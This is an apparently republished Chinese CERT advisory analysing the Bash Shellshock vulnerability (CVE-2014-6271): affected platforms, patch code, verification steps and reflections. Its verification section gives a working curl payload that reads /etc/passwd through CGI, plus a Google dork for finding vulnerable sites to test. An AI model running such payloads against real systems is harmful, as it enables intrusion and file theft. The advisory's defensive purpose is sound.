扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
来源:ZDNet安全频道 2014年10月22日
关键字: Bash“破壳”漏洞 漏洞分析 安天实验室 恶意威胁
——“破壳”漏洞系列分析之一
目 录
附录一:鸣谢... 10
附录二:关于”破壳”漏洞命名经过... 10
附录三:国内兄弟安全团队分析成果参考... 10
附录四:其他参考链接... 11
附录五:关于安天... 11
附录六:文档更新日志... 12
漏洞英文名称 |
Bash Shellshock |
中文命名 |
破壳(X-CERT) |
威胁响应等级 |
A级 |
漏洞相关CVE编号 |
CVE-2014-6271 |
漏洞发现者 |
StéphaneChazelas(法国) |
漏洞发现事件 |
2014年9月中旬 |
漏洞公布时间 |
9月25日 |
漏洞影响对象 |
Linux/Unix系统 |
2014年9月24日Bash被公布存在远程代码执行漏洞,安天实验室安全研究与应急处理中心(以下简称:安天CERT)第一时间根据信息研判,确认该漏洞可以产生严重的后果,且分布广泛,于北京时间9月24日早晨5时30分启动了A级风险应急响应。
安天CERT针对该漏洞进行了严格地分析验证,确认该漏洞会影响目前主流的Linux和Mac OSX操作系统平台,包括但不限于Redhat、CentOS、Ubuntu、Debian、Fedora、Amazon Linux、OS X 10.10等平台。该漏洞可以通过构造环境变量的值来执行想要执行的攻击代码脚本,会影响到与Bash交互的多种应用,包括HTTP、OpenSSH、DHCP等。根据目前的漏洞验证情况以及已经流传的POC情况,这个漏洞将严重影响网络基础设施的安全,包括但不限于网络设备、网络安全设备、云和大数据中心等。特别是Bash广泛地分布和存在于设备中,其消除过程将非常长尾,且易于利用其编写蠕虫进行自动化传播,同时也将导致僵尸网络的发展,目前已有多个境外安全机构发出了警告。
注1:Bash引自维基百科的描述为:"Bash,Unix shell的一种。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括Linux与Mac OS X v10.4都将它作为默认shell。它也被移植到Microsoft Windows上的Cygwin与MinGW,或是可以在MS-DOS上使用的DJGPP项目。在Novell NetWare与Android上也有移植。"
注2:A级响应是安天对威胁认定的最高等级,安天针对可能引发大规模网络瘫痪阻塞的蠕虫疫情和严重漏洞,以及可能大面积危害关键信息系统和基础设施安全的严重威胁将启动A级响应。具体响应要求为,无条件中止分析团队现有工作,立即成立分析小组,启动快速分析工作,及时通报相关CERT组织和管理部门;对威胁进行持续跟踪,对分析和响应相关文献,持续更新同步等。这是安天今年第二次启动A级响应,此前一次为心脏出血漏洞,自安天建立威胁响应分级机制以来,曾为口令蠕虫、震荡波、冲击波、SQL Slammer、魔波、熊猫烧香等事件启动A级响应。
根据信息检索,本漏洞发现者为法国GNU/LINUX研究者StéphaneChazelas,发现时间为2014年9月中旬,而披露时间为2014年9月24日。
表3-1漏洞发布厂商列表
发布厂商 |
时间 |
链接 |
NVD |
2014-09-24 2:48:04 PM |
http://web.nvd.nist.gov/view/vuln/search-results?query=CVE-2014-6271&search_type=all&cves=on |
Securityfocus |
2014-09-24 12:00AM |
|
exploit-db |
2014-09-25 |
表3-2部分主要漏洞影响平台及版本
操作系统 |
版本 |
解决方案 |
Red Hat Enterprise Linux |
4 (ELS) |
Red Hat Enterprise Linux 4 Extended Lifecycle Support - bash-3.0-27.el4.2 |
5 |
Red Hat Enterprise Linux 5 - bash-3.2-33.el5.1 Red Hat Enterprise Linux 5.6 Long Life - bash-3.2-24.el5_6.1 Red Hat Enterprise Linux 5.9 Extended Update Support - bash-3.2-32.el5_9.2 |
|
6 |
Red Hat Enterprise Linux 6 - bash-4.1.2-15.el6_5.1 Red Hat Enterprise Linux 6.2 Advanced Update Support - bash-4.1.2-9.el6_2.1 Red Hat Enterprise Linux 6.4 Extended Update Support - bash-4.1.2-15.el6_4.1 |
|
7 |
Red Hat Enterprise Linux 7 - bash-4.2.45-5.el7_0.2 |
|
CentOS |
5 |
bash-3.2-33.el5.1 |
6 |
bash-4.1.2-15.el6_5.1 |
|
7 |
bash-4.2.45-5.el7_0.2 |
|
Ubuntu |
10.04 |
bash 4.1-2ubuntu3.1 |
12.04 |
bash 4.2-2ubuntu2.2 |
|
14.04 |
bash 4.3-7ubuntu1.1 |
|
Fedora |
19 |
bash-4.2.47-2.fc19 |
20 |
bash-4.2.47-4.fc20 |
|
21 |
bash-4.3.22-3.fc21 |
|
Debian |
4.1-3 |
4.1-3+deb6u1 |
4.2+dfsg-0.1 |
4.2+dfsg-0.1+deb7u1 |
|
4.3-9 |
4.3-9.1 |
|
Amazon Linux AMI |
|
bash-4.1.2-15.19 |
Mac OS X |
10.10 |
|
注3:也可到http://ftp.gnu.org/pub/gnu/bash/进行下载。
安天CERT目前已验证在Red Hat、CentOS、Ubuntu 、Fedora 、Amazon Linux 、OS X 10.10中均拥有存在CVE-2014-6271漏洞的Bash版本,同时由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。漏洞的利用方式会通过与Bash交互的多种应用展开,包括HTTP、OpenSSH、DHCP等。
安天CERT目前抽样验证当前出厂预装的Android操作系统暂不支持ENV命令,可推测针对Android操作系统受到此漏洞影响的可能性较小。
目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
在补丁中主要进行了参数的合法性过滤,补丁程序在/builtins/evalstring.c的parse_and_execute函数中进行了输入的command进行了合法性的边界检测,将代码注入的可能性排除。在排除中主要用到了flags的两次判断和command的一次类型匹配,为了能够flags判断准确,在补丁中预先定义了SEVAL_FUNCDEF、SEVAL_ONECMD两个标识作为判断依据。此漏洞进行的补丁更新有三处,主要进行输入的command进行过滤作用。
/builtins/common.h
#define SEVAL_FUNCDEF 0x080 /* only allow function definitions */ #define SEVAL_ONECMD 0x100 /* only allow a single command */ |
/builtins/evalstring.c
if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def) { internal_warning ("%s: ignoring function definition attempt", from_file); should_jump_to_top_level = 0; last_result = last_command_exit_value = EX_BADUSAGE; break; } |
/builtins/evalstring.c
if (flags & SEVAL_ONECMD) break; |
从以上阐述的漏洞原理可知,漏洞的根本原因存在于Bash的ENV命令实现上,因此漏洞本身是不能够直接导致远程代码执行的。如果要达到远程代码执行的目的,必须借助第三方服务程序作为媒介才能够实现,第三方服务程序也必须要满足众多条件才可以充当此媒介的角色。例如,安天CERT已验证第三方服务程序apache2便可充当此媒介,其CGI组件满足远程访问并调用Bash的ENV命令进行访问数据解析功能。具体如何实现,参见图5-1:CVE-2014-6271漏洞实现远程代码执行原理图。
图5-1CVE-2014-6271漏洞实现远程代码执行原理图
目前的Bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的Bash函数传递给子相关进程。一般函数体内的代码不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。安天CERT针对“破壳”漏洞进行了细致的验证,包括本地验证、远程模拟验证、远程真实验证。远程验证以提供开启CGI的httpd服务器进行测试。因为当执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理。除此之外安天CERT还进行了DHCP等利用“破壳”漏洞攻击的模拟与攻击方法验证。
在shell中执行下面命令:
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test" |
执行命令后,如果显示VulnerableCVE-2014-6271,证明系统存在漏洞,可改变echo VulnerableCVE-2014-6271为任意命令进行执行。
a.Linux Debian操作系统漏洞验证如下:
b.苹果操作系统(OS X 10.10)漏洞验证如下:
a.模拟验证方法:此方法适合进行原理验证。
1) Ubuntu下安装及配置apache服务器
l 安装apache2服务器
#sudo apt-get install apache2
配置文件位于 /etc/apache2/sites-enabled/000-default
#sudovi /etc/apache2/sites-enabled/000-default
DocumentRoot /var/www/html
ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/
2) 编写WEB服务端测试文件
#sudovi /var/www/html/cgi-bin/test.sh
#!/bin/bash echo "Content-type: text/html" echo "" |
#sudo/etc/init.d/apache2 restart
3) 远程测试
curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a' 'http://IP地址/cgi-bin/test.sh' -I |
命令中可改变a=`/bin/cat /etc/passwd`;echo $a为任意命令进行执行。
b.真实验证方法:此方法适合互联网管理部门进行互联网普查等。
1) 以搜索引擎进行可能存在漏洞的网站检索,下面以google检索为例:
检索:inurl:/cgi-bin/ filetype:sh
2) 将检索到的url进行提取,然后替换下面的“替换URL”
curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a' '替换URL' -I |
如存在漏洞,便可复现模拟验证方法的结果,借此判断漏洞的范围及危害程度等;如不用搜索引擎,也可以进行构造路径的方式(例如:IP/cgi-bin/update.sh、IP/cgi-bin/admin.sh等),进行连接尝试,但这种方法会耗费大量的资源进行无用连接尝试。
您可以应用本地与远程的漏洞验证方法进行脚本、程序或snort规则等的编写与配置,进而进行批量的操作系统平台的检测。当进行HTTP检测时,可以进行Referer、host、UserAgent、header等的头信息字符串“() {”或对应十六进制“\x28\x29\x20\x7b”检测目前已经出现的部分攻击。
我们还在进一步进行攻击的捕获和特征的提取。
注4:此前版本中的检测规则有问题,此版本经网友@TeLeMan指正后完善,参见鸣谢。
这是安天CERT今年内第二次做出A级响应,而此前一次是Heart Bleed(心脏出血)。当我们回望安天A级响应的档案,我们看到了很多熟悉的名字:口令蠕虫、震荡波、冲击波……
而在“心脏出血”出现之前的几年时间内,正是威胁高度定向化发展的时代,安天CERT的工作重心转向去分析更为精致、漫长的APT攻击,已经有多年未启动过A级响应。所以当“心脏出血”到来的时候,我们显得那样慌乱。我们已经不习惯被凌晨从睡梦中叫醒,我们突然发现基础环境需要重新搭建。当时我们的感觉是,如同一群在犯罪现场小心取证、捉摸研究的侦探,突然发现全城大火,任务迅速变成全体去参与救火……而对安全分析工程师来说,只要重入火线,就可以唤醒沉睡的敏锐和血性。
安全永不止步,因为威胁永不止步。安天的分析团队负责人李柏松在访问McAfee时,曾被“Safe Never Sleep”的标语所感动,但他说,更令人感动的是深夜从Avtar酒店楼下,看到McAfee不熄的灯火。对于“破壳”漏洞,我们的工作依然显得粗浅,但相对于“心脏出血”中的慌乱,明显我们已经重新变得从容。特别是当我们再次被凌晨唤醒时,我们已经由咬牙从睡梦中爬起,变成条件反射式的起身。
安全的难以卡位,亦因为威胁的不可预期。自2004年,DEP、ALSR等技术陆续引入主流系统后,基于远程一击必杀的威胁开始明显减少,而那些未公开出来的0day预计也被作为秘密武器谨慎使用。大规模蠕虫开始减少,不再有更多的恶意代码名称为公众所知,这给了公众一种安全的错觉,也带来了安全愿景的虚妄。对于笃定“可信+主防”就可以打造安全永动机的人们来说,往往都忘记了脚本这个令安全管理者爱恨交织的存在。
安全难以完美,更因为时间并不站在防御者这一边。无论是攻击包一击必杀的闪电战,还是威胁的长期潜伏,都是如此。HeartBleed漏洞在代码中潜伏了3年之久,而“破壳”漏洞则可能已经存在了10年。在这个潜伏期内,其是幸运的在始终沉睡,还是早已成为入室利器,尚不得而知。相关漏洞是开发者的无心之失,还是一次精心设计的代码污染,目前都难以推测了。可以想象的是,一切无法完整复盘的信息安全灾难,都注定会成为阴谋论的脚本。
安全进步缓慢,也在于人们有太多的想当然。“心脏出血”与“破壳”的漏洞都来自开源系统。而太多善良的人们自然的认定,开源的安全由无数代码维护者、审计者和用户保证。而无论是“心脏出血”的Open SSL,还是“破壳”的Bash,尽管或者在很多开发者、编译者的系统中如白驹过隙般的编译通过,但相关漏洞均如白驹过隙,一闪而过。而对于攻击者来说,相关代码却可能得到了长时间的研究与挖掘。泛泛的比较开源与闭源孰更安全是没有意义的,我们只想再次强调,开源并不必然导致安全。
安全难以改善,更在于威胁不断泛化和继承,从PC时代、移动时代、穿戴设备和智能家居时代,易用性、方便性一直在飞速的发展和进步,新设备也开始拥有更高的主频,拥有更为复杂的操作系统。但既有的安全的经验与方法并未得到有效地传递和继承。而代码复用等则把类似“心脏出血”和“破壳”这样的漏洞引入更多的领域纵深,从而带来了更复杂困难的处置长尾。而未来更多异构设备间功能协同、交叉访问、数据共享,则使安全的形势更加复杂、处置更加困难、问题更难定性。
当威胁纷至沓来的时候,我们因应接不暇而心力交瘁的时候,作为一个职业安全工作者,我们则需要提醒自己,不要迷失对安全的信心与信念,但也不要丧失对信息技术发展的期待。安全不是信息技术的全部,我们需要生活在一个快速发展、便利快乐的世界,并为之提供保障。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者